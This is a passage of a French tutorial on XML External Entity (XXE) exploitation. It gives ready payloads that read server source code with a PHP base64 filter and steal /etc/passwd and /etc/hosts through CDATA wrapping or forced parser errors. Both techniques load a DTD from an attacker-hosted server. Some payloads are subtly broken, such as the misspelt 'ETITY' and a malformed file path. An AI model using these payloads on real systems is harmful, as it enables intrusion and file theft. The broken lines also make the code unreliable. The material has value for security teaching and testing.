2- Lecture de code source encodé en b64 avec wrappers:
<!DOCTYPE email [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
Voila pour la base du fonctionnement de la vulnérabilité.

Divulgation De Fichiers Avancés:

Mais tout les servers web ne tournent pas sur php. Heureusement il existe d'autres moyen de exfiltrer des fichiers contenant des caractères qui casses la structure d'un document XML. Pour se faire on peu utiliser une section CDATA pour dire au parseur de traiter le contenu comme du texte brute sans l'interpreter. La syntaxe globale est <![CDATA[--contenu du fichier--]]>

Mais on ne peu pas directement combiner une entité externe (le fichier) et du texte (<![CDATA[ ]]>) on doit donc utiliser des entités parametre (commencent par %) qui est une sorte de variable ne pouvant être utilisée que dans la DTD en gros contrairement aux autre variable (entité) qui stocke du contenu (pour eviter de le repeter) elle suit une règle' elle aide à construire la DTD, et on va utiliser une entité parametre file qui sert notre machine.

1- On commence par créé un fichier en .dtd sur notre machine avec le contenu ci dessous, puis on lance un serveur (Ex python)

```
<!ENTITY joined "%begin;%file;%end;">
```

2- On injecte notre payload suivant dans une requête du server vulnérable, le payload définit les entités %begin, %file et %end puis charge notre fichier distant .dtd pour les joindres l'affichant ainsi dans la réponse.

```
<!DOCTYPE email [
  <!ENTITY %begin "<![CDATA[">
  <!ENTITY %file SYSTEM "file:///etc/passwd/exploitation.php">
  <!ENTITY %end "]]>">
  <!ETITY % xxe SYSTEM "http://MON_IP:PORT/fichier.dtd">
  %xxe;
]>
<email>&joined;</email>
```

Il se peux que la sortie ne soit pas "injecter" dans l'application, dans pareil cas on peu alors utiliser une technique pour forcer le parseur XML à repondre par une erreur contenant la ressource demandée...
Pour ce faire on commence par créé et héberger un fichier DTD comme suit, ce fichier définit l'entité de parametre file puis la joint à une entité qui n'existe pas

```
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%monExistingEntity;/%file;'>">
```

La charge utile injecté appelera notre script DTD externe puis referencera l'entité exemple comme suit. Le parseur vulnérable renverra alors une erreur avec le contenu du fichier

```
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://our-ip:port/xxe.dtd">
  %remote;
  %error;
]>
```

Cette methode peux également être utilisée pour récuperer le code source de fichier, mais cette methode reste moins fiable qu'avec le wrapper PHP.
Après evidement tout dépend de la cible...